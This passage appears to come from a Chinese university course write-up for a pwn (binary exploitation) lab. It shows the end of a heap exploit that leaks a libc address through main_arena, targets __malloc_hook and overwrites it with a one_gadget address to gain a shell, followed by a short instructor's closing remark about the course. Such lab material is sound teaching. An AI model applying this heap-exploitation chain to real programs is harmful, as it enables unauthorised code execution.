" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " ,
0 );
dianMing (
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " ,
1 );
qiaoKe ( 1 );
daBian ( 1 );
add ( 1 , - MAIN_ARE_OFF );
mov ( 2 , 1 );
mov ( 0 , 2 );
add ( 0 , MALLOC_HOOK );
dianMing ( " aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "
" aaaaaaaaaaaaaaaaa " ,
2 );
qiaoKe ( 2 );
xiaoCe ( 2 );
mov ( 0 , 2 );
add ( 0 , ONE_GADGET );
dianMing (
" \x88\x06 H \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 "
" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 "
" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 "
" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 "
" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " ,
3 );
xiaoCe ( 3 );
}
本次二级信安实践 pwn 的几道题内容确实有点多,因此实验完成时间延长到了两周。pwn 里面的内容确实太多了,我们只涉及到了用户态的程序,这也只是 pwn 的冰山一角,希望本次课程能起到抛砖引玉的作用,让同学们熟悉底层的漏洞成因及其利用。